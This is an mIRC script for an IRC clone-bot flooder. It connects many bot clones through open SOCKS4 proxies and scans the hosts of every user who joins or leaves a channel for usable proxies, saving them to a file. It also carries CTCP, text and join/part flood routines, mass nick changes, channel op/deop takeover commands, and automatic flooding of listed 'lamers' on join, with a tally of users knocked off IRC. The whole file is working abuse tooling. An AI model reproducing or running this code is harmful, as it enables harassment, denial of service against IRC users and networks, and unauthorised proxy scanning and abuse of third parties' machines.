/ScriptServ

[script]
n0=
n1=
n2=;





[Random Nick	]






n3=alias random {
n4=  %clones.random = $null
n5=  %clones.random.random = $rand(7,9)
n6=  :home
n7=  if ($rand(1,2) == 1) { %clones.random = %clones.random $+ $rand(a,z) }
n8=  else { %clones.random = %clones.random $+ $rand(A,Z) }
n9=  if ($len(%clones.random) == %clones.random.random) { goto end }
n10=  goto home
n11=  :end
n12=  return %clones.random
n13=}
n14=
n15=;





[(dis)Enable Firewalls	]






n16=alias firew {
n17=  if ($1 == 1) { %clones.firewall = 1 }
n18=  elseif ($1 == 0) { %clones.firewall = 0 }
n19=}
n20=
n21=;





[Connect x clones with x delay trough a firewall	]






n22=alias cf {
n23=  firew 1
n24=  if ($2 == $null) { echo -a 2Usage: cf <firewall> <amount of clones> [connection delay] }
n25=  %clones.firew = $1
n26=  if ($3 == $null) { .timer -o $2 2 connect1 }
n27=  else { .timer -o $2 $3 connect1 }
n28=}
n29=
n30=;





[Scans the first free number from the socks	]






n31=alias firstfree {
n32=  %clones.counter = 0
n33=  :home
n34=  inc %clones.counter 1
n35=  %clones.tmp = *ock $+ %clones.counter
n36=  if ($sock(%clones.tmp,0) == 0) { return %clones.counter }
n37=  goto home
n38=  :end
n39=}
n40=
n41=;





[Connect a clone trough a firewall or not	]






n42=alias connect1 {
n43=  window -kel15 @Clones
n44=  if ($1 != $null) { %clones.firew = $1 }
n45=  if (%clones.server == $null) { echo -a 2Server not set | halt }
n46=  if (%clones.serverport == $null) { %clones.serverport = 6667 }
n47=  %clones.tmp = $firstfree
n48=  if (%clones.firewall == 1) {
n49=    set %clones.sock $+ %clones.tmp %clones.firew
n50=    sockopen ock $+ %clones.tmp %clones.firew 1080
n51=  }
n52=  else {
n53=    set %clones.sock $+ %clones.tmp %clones.server
n54=    sockopen sock $+ %clones.tmp %clones.server %clones.serverport
n55=  }
n56=}
n57=
n58=;





[Sends a raw IRC command to all clones ]






n59=alias botraw { sockwrite -n sock* $1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 }
n60=
n61=;





[Changes nicks of all clones	]






n62=alias changenick {
n63=  %clones.counter = 0
n64=  :home
n65=  inc %clones.counter 1
n66=  %clones.tmp = $rand(a,z) $+ $rand(1,9)
n67=  if (%clones.tmp == $null) { %clones.tmp = $random }
n68=  if ($sock(sock*,%clones.counter) == $null) { goto end }
n69=  sockwrite -n $sock(sock*,%clones.counter) NICK %clones.tmp
n70=  if ($islisted($sock(sock*,%clones.counter)) != $null) { rline -l @clones $islisted($sock(sock*,%clones.counter)) $sock(sock*,%clones.counter) $+ : %clones.tmp }
n71=  sockmark $sock(sock*,%clones.counter) %clones.tmp
n72=  goto home
n73=  :end
n74=}
n75=
n76=;





[Get nicks from all socks (not usefull I think, I used it for debugging etc) ]






n77=alias getmarks {
n78=  %clones.counter = 0 | %clones.total = $sock(sock*,0)
n79=  :home
n80=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n81=  if ($sock(%clones.tmp,0) != 0) { aline @clones 10[14Clones10]2: %clones.tmp $+ : $sock(%clones.tmp).mark }
n82=  if (%clones.counter >= %clones.total) { goto end }
n83=  goto home
n84=  :end
n85=}
n86=
n87=;





[if the nick is one of your clones	]






n88=alias isbot {
n89=  %clones.counter = 0 | %clones.total = $sock(sock*,0)
n90=  :home
n91=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n92=  if ($sock(%clones.tmp).mark == $1) { return $true }
n93=  if (%clones.counter >= %clones.total) { goto end }
n94=  goto home
n95=  :end
n96=  return $false
n97=}
n98=
n99=;





[OP all clones on a channel by the clones	]






n100=alias opall {
n101=  if ($1 == $null) { echo -a 2Usage: opall <chan> }
n102=  %clones.counter = 0 | %clones.total = $sock(sock*,0) | %clones.oplist = $null
n103=  :home
n104=  inc %clones.counter 1 | %clones.tmp = sock $+ %clones.counter
n105=  %clones.oplist = %clones.oplist $sock(%clones.tmp).mark
n106=  if ($numtok(%clones.oplist,32) >= 3) { botraw MODE $1 +ooo %clones.oplist | aline @clones 10[14Clones10]2: Opping %clones.oplist on $1 $+ ... |  %clones.oplist = $null }
n107=  if (%clones.counter >= %clones.total) { goto end }
n108=  goto home
n109=  :end
n110=  if ($numtok(%clones.oplist,32) > 0) { botraw MODE $1 +ooo %clones.oplist $me | aline @clones 10[14Clones10]2: Opping %clones.oplist + myself on $1 $+ ... }
n111=}
n112=
n113=alias total { echo -a 10[14Clones10]2: $sock(sock*,0) }
n114=
n115=;
































































































n116=alias floodem { 
n117=  %clones.lamer = $1
n118=  %clones.floodstart = $ctime
n119=  echo -a 10[14Clones10]2: CTCP Flooding $1 $+ ...
n120=  botraw PRIVMSG $1 :
VERSION

n121=  .timer131 -o 0 12 botraw PRIVMSG $1 :
VERSION

n122=}
n123=alias floodem5 { 
n124=  %clones.lamer = $1
n125=  %clones.floodstart = $ctime
n126=  echo -a 10[14Clones10]2: CTCP Flooding $1 6x $+ ...
n127=  botraw PRIVMSG $1 :
VERSION

n128=  .timer131 -o 5 12 botraw PRIVMSG $1 :
VERSION

n129=}
n130=
n131=alias tfr {
n132=  botraw PRIVMSG $1 : $+ $random
n133=}
n134=
n135=alias textflood {
n136=  %clones.lamer = $1 | %clones.floodstart = $ctime
n137=  echo -a 10[14Clones10]2: TEXT Flooding $1 $+ ...
n138=  if ($2 == 1) { %clones.text = Bye Lamer !!! }
n139=  elseif ($2 == 2) {
n140=    tfr $1
n141=    .timer131 -o 0 12 tfr $1
n142=    halt
n143=  }
n144=  else { %clones.text = $3- }
n145=  botraw PRIVMSG $1 : $+ %clones.text
n146=  .timer131 -o 0 12 botraw PRIVMSG $1 : $+ %clones.text
n147=}
n148=
n149=alias jpf {
n150=  botraw PART $1
n151=  .timer -o 1 1 botraw JOIN $1
n152=}
n153=
n154=alias floodoff { .timer131 off | .timer132 off | .timer133 off | .timer134 off | aline @clones 10[14Clones10]2: All Flood Off }
n155=
n156=on 32:JOIN:#:{ echo -a 10[14Clones10]2: Lamer Join Detected: $nick ( $+ $site $+ ) | floodem $nick }
n157=on 33:JOIN:#:{ echo -a 10[14Clones10]2: Lamer Join Detected: $nick ( $+ $site $+ ) | textflood $nick }
n158=
n159=on *:QUIT:{
n160=  if ($nick == %clones.lamer) { echo -a 10[14Clones10]2: Token Time: $duration($calc($ctime - %clones.floodstart)) | floodoff }
n161=  if (($1 == Excess) || ($1 == Flooding)) {
n162=    if (%clones.totals == $null) { %clones.total = 0 }
n163=    inc %clones.totals 1
n164=    if ([ %clones.totals. $+ [ %clones.lamer ] ] == $null) { set %clones.totals. $+ %clones.lamer 0 }
n165=    inc %clones.totals. $+ %clones.lamer 1
n166=    write floods.txt *** $nick has quit IRC ( $+ $1- $+ )
n167=  }
n168=}
n169=;
































































































n170=
n171=on *:sockopen:ock*:{
n172=  if ($sockerr > 0) { aline @clones 10[14Clones10]2: Closing $sockname $+ ... (error $sockerr $+ ) ( $+ %clones.s [ $+ [ $sockname ] ] $+ ) | halt }
n173=  aline @clones 10[14Clones10]2: $sockname connected ( $+ %clones.s [ $+ [ $sockname ] ] $+ )
n174=  %clones.tmpcalc = $int($calc(%clones.serverport / 256))
n175=  bset &binvar 1 4 | bset &binvar 2 1 | bset &binvar 3 %clones.tmpcalc | bset &binvar 4 $calc(%clones.serverport - (%clones.tmpcalc * 256)) | bset &binvar 5 $gettok(%clones.server,1,46) | bset &binvar 6 $gettok(%clones.server,2,46) | bset &binvar 7 $gettok(%clones.server,3,46) | bset &binvar 8 $gettok(%clones.server,4,46) | bset &binvar 9 0  
n176=  sockwrite $sockname &binvar
n177=}
n178=on *:sockread:ock*:{
n179=  if ($sockerr > 0) { aline @clones 10[14Clones10]2: Closing $sockname $+ ... (error $sockerr $+ ) ( $+ %clones.s [ $+ [ $sockname ] ] $+ ) | halt }
n180=  sockread 4096 &binvar | if ($sockbr == 0) { return }
n181=  if ($bvar(&binvar,2) == 90) {
n182=    %clones.tp = $rand(a,z) $+ $rand(1,9)
n183=    if (%clones.tp == $null) { %clones.tp = $random }
n184=    sockwrite -n $sockname USER %clones.tp a a :Tawt Wh4a
n185=    %clones.tp = $rand(a,z) $+ $rand(1,9)
n186=    if (%clones.tp == $null) { %clones.tp = $random }
n187=    sockwrite -n $sockname NICK %clones.tp
n188=    sockmark $sockname %clones.tp
n189=    sockrename $sockname s $+ $sockname
n190=  }
n191=  elseif ($bvar(&binvar,2) == 91) { aline @clones 10[14Clones10]2: Firewall Access Rejected (91) }
n192=}
n193=on *:sockclose:*ock*:{
n194=  if ($left($sockname,1) == o) { %clones.sockname = s $+ $sockname }
n195=  else { %clones.sockname = $sockname }
n196=  aline @clones 10[14Clones10]2: Closing $sockname $+ ... ( $+ %clones. [ $+ [ %clones.sockname ] ] $+ )
n197=  if ($islisted($sockname) != $null) { dline -l @clones $islisted($sockname) }
n198=  window -g1 @clones
n199=}
n200=
n201=alias expired {
n202=  if ($sock($1).status == $null) { halt }
n203=  aline @Scans 4 $+ $1 expired.. closing... ( $+ $sock($1).mark $+ )  ( $+ %clones.scan. [ $+ [ $sock($1).mark ] ] $+ )
n204=  unset %clones.scan. $+ $sock($1).mark
n205=  sockclose $1
n206=}
n207=
n208=alias scan {
n209=  if ($1 == $null) { echo -a 2Usage: scan <ip/host> <ip/host 2> <etc..> | return }
n210=  %clones.counter = 0
n211=  :home
n212=  inc %clones.counter 1
n213=  %clones.tmp = [ $ $+ [ %clones.counter ] ]
n214=  if (%clones.tmp == $null) { goto end }
n215=  if ($numtok(%clones.tmp,46) == 4) {
n216=    if ($longip($gettok(%clones.tmp,1-3,46)) != $null) {
n217=      if (X isin %clones.tmp) { goto home }
n218=    }
n219=  }
n220=  if ($read -s $+ %clones.tmp scanned.txt != $null) { goto home }
n221=  write scanned.txt %clones.tmp
n222=  if (%clones.scan. [ $+ [ %clones.tmp ] ] == $null) { set %clones.scan. $+ %clones.tmp *unknown* }
n223=  %clones.tmp2 = scan $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
n224=  window -ke @Scans
n225=  aline @Scans 2Now scanning %clones.tmp $+ ... ( $+ %clones.scan. [ $+ [ %clones.tmp ] ] $+ )
n226=  sockopen %clones.tmp2 %clones.tmp 1080
n227=  sockmark %clones.tmp2 %clones.tmp
n228=  .timer -o 1 20 expired %clones.tmp2
n229=  goto home
n230=  :end
n231=}
n232=
n233=on *:sockopen:scan*:{
n234=  if ($sockerr > 0) { aline @Scans 4Socks not open on $sock($sockname).mark ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ ) | halt }
n235=  aline @Scans 2Socks open on $sock($sockname).mark $+ ... scanning if usable...  ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ )
n236=  %clones.tmpcalc = $int($calc(%clones.serverport / 256))
n237=  if (%clones.firewall != 1) {  aline @Scans 4No firewall stuff set | halt }
n238=  bset &binvar 1 4 | bset &binvar 2 1 | bset &binvar 3 %clones.tmpcalc | bset &binvar 4 $calc(%clones.serverport - (%clones.tmpcalc * 256)) | bset &binvar 5 $gettok(%clones.server,1,46) | bset &binvar 6 $gettok(%clones.server,2,46) | bset &binvar 7 $gettok(%clones.server,3,46) | bset &binvar 8 $gettok(%clones.server,4,46) | bset &binvar 9 0  
n239=  sockwrite $sockname &binvar
n240=}
n241=
n242=on *:sockread:scan*:{
n243=  if ($sockerr > 0) { aline @Scans 4Socks not open on $sock($sockname).mark ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ ) | halt }
n244=  sockread 4096 &binvar | if ($sockbr == 0) { return }
n245=  if ($bvar(&binvar,2) == 90) {
n246=    aline @Scans 3Socks usable on $sock($sockname).mark $+ ... saving to file socks.txt... ( $+ %clones.scan. [ $+ [ $sock($sockname).mark ] ] $+ )
n247=    write socks.txt $sock($sockname).mark
n248=  }
n249=  sockclose $sockname
n250=}
n251=
n252=alias scanc {
n253=  window -ke @Scans
n254=  %clones.counter2 = 0
n255=  if ($1 == $null) { halt }
n256=  %clones.total = $nick($1,0)
n257=  aline @Scans Scanning $1 with delays of 2 secs
n258=  :home
n259=  inc %clones.counter2 1
n260=  %clones.tmp3 = $calc((%clones.counter2 * 2) - 2)
n261=  .timer -o 1 %clones.tmp3 .userhost $nick($1,%clones.counter2)
n262=  aline @Scans 2Scanning $nick($1,%clones.counter2) in %clones.tmp3 seconds $+ ...
n263=  if (%clones.counter2 == %clones.total) { goto end }
n264=  goto home
n265=  :end
n266=}
n267=
n268=alias scanf {
n269=  if (($1 == $null) || ($exists($1) == $false)) { halt }
n270=  %clones.total = $lines($1)
n271=  %clones.counter2 = 0
n272=  :home
n273=  inc %clones.counter2 1
n274=  %clones.toscan = $read -l $+ %clones.counter2 $1
n275=  .timer -o 1 $calc($2 * %clones.counter2) scan %clones.toscan
n276=  if (%clones.counter2 == %clones.total) { goto end }
n277=  goto home
n278=  :end
n279=}
n280=
n281=raw 302:*:{
n282=  %clones.count = 1
n283=  :home
n284=  inc %clones.count 1
n285=  %clones.temp  = $ [ $+ [ %clones.count ] ]
n286=  if (%clones.temp == $null) { goto end }
n287=  %clones.scan. [ $+ [ $gettok(%clones.temp,2,64) ] ] = $gettok(%clones.temp,1,61)
n288=  scan $gettok(%clones.temp,2,64)
n289=  goto home
n290=  :end
n291=}
n292=
n293=on *:JOIN:#:{
n294=  if ($nick == $me) { return }
n295=  set %clones.scan. $+ $site $nick
n296=  scan $site
n297=  if ($exists(nicks2.txt) == $false) { write nicks2.txt }
n298=  if ($read -s $+ $nick nicks2.txt == $null) {
n299=    write nicks2.txt $nick $gettok($address,1,64)
n300=  }
n301=}
n302=
n303=on *:PART:#:{
n304=  if ($nick == $me) { return }
n305=  set %clones.scan. $+ $site $nick
n306=  scan $site
n307=  if ($exists(nicks2.txt) == $false) { write nicks2.txt }
n308=  if ($read -s $+ $nick nicks2.txt == $null) {
n309=    write nicks2.txt $nick $gettok($address,1,64)
n310=  }
n311=}
n312=
n313=alias ppl {
n314=  if ($1 == $null) { echo -a 2Usage: ppl <channel> | halt }
n315=  echo -a 2 $+ " $+ $nick($1,0) Total people on $1 $+ "
n316=}
n317=
n318=menu nicklist {
n319=  Scan socks:.userhost $$1
n320=  Clones
n321=  .Floods
n322=  ..CTCP:floodem $$1
n323=  ..TEXT
n324=  ...Bye Lamer !!!:textflood $$1 1
n325=  ...Random:textflood $$1 2
n326=  ...Choose:textflood $$1 3 $$?="Choose Text:"
n327=  .Lamer List
n328=  ..Add (CTCP):guser 32 $1 2 | floodem $1
n329=  ..Add (TEXT):guser 33 $1 2 | textflood $1
n330=  ..Remove All (CTCP):rlevel 32
n331=  ..Remove All (TEXT):rlevel 33
n332=  .All Flood Off:floodoff
n333=  .-
n334=  .Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n335=}
n336=menu channel {
n337=  Clones
n338=  .Server settings
n339=  ..Server:setserver $$?="Which Server?"
n340=  ..Server Port:%clones.serverport = $$?="Which Port?"
n341=  .Connect:.timer -o $$?="Amount of clones:" $$?="Delay between clone connects" connect1
n342=  .Firewall
n343=  ..Set:%clones.firew = $$?="Which Firewall?"
n344=  ..Enable:%clones.firewall = 1
n345=  ..Disable:%clones.firewall = 0
n346=  .Ignore
n347=  ..Clones (will not work for already connected clones)
n348=  ...ON:%clones.silence = 1
n349=  ...OFF:%clones.silence = 0
n350=  ..Myself
n351=  ...ON:pr
n352=  ...OFF:upr
n353=  .Totals
n354=  ..Total Clones:total
n355=  ..Autocheck:.timer900 -o 0 $$?="How many seconds between shows?" total
n356=  ..Autocheck OFF:.timer900 off
n357=  ..-
n358=  ..Total people:ppl #
n359=  ..People Autocheck:.timer901 -o 0 $$?="How many seconds between checks?" ppl #
n360=  ..People Autocheck OFF:.timer901 off
n361=  ..-
n362=  ..Total Killed:echo -a 2" $+ %clones.totals People killed from irc $+ "
n363=  ..Reset:%clones.totals = 0
n364=  .-
n365=  .SocksList (Connect):window -kl @sockslist /sockslist
n366=  .-
n367=  .JOIN (This Channel):botraw JOIN #
n368=  .Random Join (TC):randomjoin #
n369=  .PART (This Channel):botraw PART #
n370=  .Flood
n371=  ..CTCP:floodem #
n372=  ..TEXT
n373=  ...Bye Lamer !!!:textflood $$?="Which Channel/Person?" 1
n374=  ...Random:textflood $$?="Which Channel/Person?" 2
n375=  ...Choose:textflood $$?="Which Channel/Person?" 3 $$?="Choose Text:"
n376=  ..JOIN/PART:.timer131 -o 0 6 jpf #
n377=  .Nickchange
n378=  ..Change Nicks:changenick
n379=  ..ON:.timer32 -o 0 $$?="Delay between nick changes:" changenick
n380=  ..OFF:.timer32 off
n381=  .All Flood Off:floodoff
n382=  .-
n383=  .Scan channel for firewalls:scanc #
n384=  .-
n385=  .Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n386=}
n387=menu @Clones {
n388=  Server settings
n389=  .Server:setserver $$?="Which Server?"
n390=  .Server Port:%clones.serverport = $$?="Which Port?"
n391=  Connect:.timer -o $$?="Amount of clones:" $$?="Delay between clone connects" connect1
n392=  Firewall
n393=  .Set:%clones.firew = $$?="Which Firewall?"
n394=  .Enable:%clones.firewall = 1
n395=  .Disable:%clones.firewall = 0
n396=  Ignore
n397=  .Clones (will not work for already connected clones)
n398=  ..ON:%clones.silence = 1
n399=  ..OFF:%clones.silence = 0
n400=  .Myself
n401=  ..ON:pr
n402=  ..OFF:upr
n403=  Totals
n404=  .Total Clones:total
n405=  .Autocheck:.timer900 -o 0 $$?="How many seconds between shows?" total
n406=  .Autocheck OFF:.timer900 off
n407=  .-
n408=  .Total people:ppl #
n409=  .People Autocheck:.timer901 -o 0 $$?="How many seconds between checks?" ppl #
n410=  .People Autocheck OFF:.timer901 off
n411=  .-
n412=  .Total Killed:echo -a 2" $+ %clones.totals People killed from irc $+ "
n413=  .Reset:%clones.totals = 0
n414=  -
n415=  SocksList (Connect):window -kl @sockslist /sockslist
n416=  -
n417=  JOIN:botraw JOIN $$?="Which Channel?"
n418=  Random Join (TC):randomjoin #
n419=  PART:botraw PART $$?="Which Channel?"
n420=  Flood
n421=  .CTCP:floodem $$?="Which Channel/Person?"
n422=  .TEXT
n423=  ..Bye Lamer !!!:textflood $$?="Which Channel/Person?" 1
n424=  ..Random:textflood $$?="Which Channel/Person?" 2
n425=  ..Choose:textflood $$?="Which Channel/Person?" 3 $$?="Choose Text:"
n426=  .JOIN/PART:.timer131 -o 0 6 jpf $$?="Which Channel?"
n427=  Nickchange
n428=  .Change Nicks:changenick
n429=  .ON:.timer32 -o 0 $$?="Delay between nick changes:" changenick
n430=  .OFF:.timer32 off
n431=  All Flood Off:floodoff
n432=  -
n433=  Kill All Clones:sockclose *ock* | floodoff | window -c @clones
n434=}
n435=
n436=menu @Scans {
n437=  Scan Person:.userhost $$?="which person?"
n438=  Scan Channel:scanc $$?="what channel?"
n439=  Scan File:scanf $$?="what file?" $?="delay between scans:"
n440=}
n441=
n442=alias loadbuf- {
n443=  if ($exists($2) == $false) { return }
n444=  %total = $lines($2)
n445=  %count = 0
n446=  :home
n447=  if (%count >= %total) { return }
n448=  inc %count 1
n449=  %readln = $read -l $+ %count $2
n450=  if (%readln == $null) { goto home }
n451=  %part1 = $gettok(%readln,1,32)
n452=  %part2 = $gettok(%readln,2,32)
n453=  %part3 = $gettok(%readln,3-,32)
n454=  :home2a
n455=  if ($len(%part1) < 32) { %part1 = %part1 $+ $chr(160) | goto home2a }
n456=  :home2b
n457=  if ($len(%part2) < 16) { %part2 = %part2 $+ $chr(160) | goto home2b }
n458=  :home2c
n459=  if ($len(%part3) < 16) { %part3 = %part3 $+ $chr(160) | goto home2c }
n460=  aline $1 %part1 %part2 %part3
n461=  goto home
n462=}
n463=
n464=menu @sockslist {
n465=  Connect:/sockslist
n466=  -
n467=  Load file:{
n468=    %clones.file = $?="Which File?"
n469=    if (%clones.file == $null) { return }
n470=    loadbuf- @sockslist %clones.file
n471=  }
n472=  -
n473=  Clear:clear @sockslist
n474=  Refresh:clear @sockslist | loadbuf- @sockslist %clones.file
n475=  -
n476=  Check Speed:checklist
n477=  -
n478=  PANIC STOP:timers off
n479=  -
n480=}
n481=
n482=alias pr { ignore -pnti *@* }
n483=alias upr { ignore -pnir *@* }
n484=
n485=alias sockslist {
n486=  %clones.countr = 0
n487=  %clones.hm = $?="How many for each firewall?"
n488=  if (%clones.hm == $null) { return }
n489=  %clones.dy = $?="Delay:"
n490=  if (%clones.dy == $null) { return }
n491=  if (%clones.firewall == 0) { echo -a 4Firewall not enabled | return }
n492=  :home
n493=  inc %clones.countr 1
n494=  if ($sline(@sockslist,%clones.countr) == $null) { return }
n495=  %clones.temp.temp = $gettok($gettok($sline(@sockslist,%clones.countr),1,32),1,9)
n496=  timer %clones.hm %clones.dy connect1 %clones.temp.temp
n497=  goto home
n498=}
n499=
n500=alias randomjoin {
n501=  %clones.counter = 0
n502=  %clones.min = $$?="Minimum join delay:"
n503=  if (%clones.min == $null) { return }
n504=  if ($1 != $null) { %clones.chan = $1 | goto home }
n505=  %clones.chan = $$?="Which Channel?"
n506=  if (%clones.chan == $null) { return }
n507=  :home
n508=  inc %clones.counter 1
n509=  %clones.sock = $sock(sock*,%clones.counter)
n510=  if (%clones.sock == $null) { return }
n511=  .timer 1 $calc((%clones.counter * %clones.min) + $rand(1,10) ) sockwrite -n %clones.sock JOIN %clones.chan
n512=  goto home
n513=}
n514=
n515=alias hello {
n516=  rline @sockslist $1 $2- 2Checking...
n517=  checkspeed $1-
n518=}
n519=
n520=alias checklist {
n521=  %clones.cnt = 0
n522=  :home
n523=  inc %clones.cnt 1
n524=  %clones.tq = $left($line(@sockslist,%clones.cnt),66)
n525=  if (%clones.tq == $null) { return }
n526=  .timer 1 $calc(%clones.cnt / 2) hello %clones.cnt %clones.tq
n527=  goto home
n528=}
n529=
n530=alias checkspeed {
n531=  %clones.rnd = $random
n532=  sockopen chk $+ %clones.rnd $gettok($gettok($2-,1,32),1,9) 1080
n533=  sockmark chk $+ %clones.rnd $1 $ctime $2-
n534=}
n535=
n536=on *:sockopen:chk*:{
n537=  %clones.new = $sockerr
n538=  %clones.tj = $sock($sockname).mark
n539=  if (%clones.new > 0) { rline @sockslist $gettok(%clones.tj,1,32) $gettok(%clones.tj,3-,32) 4 $+ Socket error ( $+ $sockerr $+ ) | halt }
n540=  sockclose $sockname
n541=  %clones.delay = $calc($ctime - $gettok(%clones.tj,2,32))
n542=  if (%clones.delay <= 3) { %clones.ch = 3 }
n543=  elseif (%clones.delay <= 10) { %clones.ch = 2 }
n544=  elseif (%clones.delay <= 18) { %clones.ch = 5 }
n545=  else { %clones.ch = 4 }
n546=  rline @sockslist $gettok(%clones.tj,1,32) $gettok(%clones.tj,3-,32)  $+ %clones.ch $+  $+ %clones.delay seconds
n547=}
n548=
n549=alias islisted {
n550=  %clones.count = 0
n551=  :home
n552=  inc %clones.count 1
n553=  if ($1 isin $gettok($line(@clones,%clones.count,1),1,58)) { return %clones.count }
n554=  if ($line(@clones,%clones.count,1) == $null) { return }
n555=  goto home
n556=}
n557=
n558=on *:start:{ unset %clones.sock* | unset %clones.scan* }
n559=
n560=alias setserver {
n561=  %clones.setserver = 1
n562=  .dns -h $1
n563=}
n564=
n565=on *:dns:{
n566=  if (%clones.setserver == 1) {
n567=    if ($iaddress == $null) { echo -a 4Server address could not be resolved | return }
n568=    %clones.server = $iaddress
n569=    %clones.setserver = 0
n570=  }
n571=}
n572=
n573=alias deopall {
n574=  if ($1 == $null) { echo -a 2Usage: deopall <chan> | return }
n575=  %clones.deop = 1
n576=  %clones.deopchannel = $1
n577=  botraw NAMES $1
n578=}
n579=
n580=alias oda {
n581=  opall $$1
n582=  deopall $$1
n583=}
n584=
n585=alias rej { raw -q PART # $+ $chr(13) $+ $chr(10) $+ JOIN # }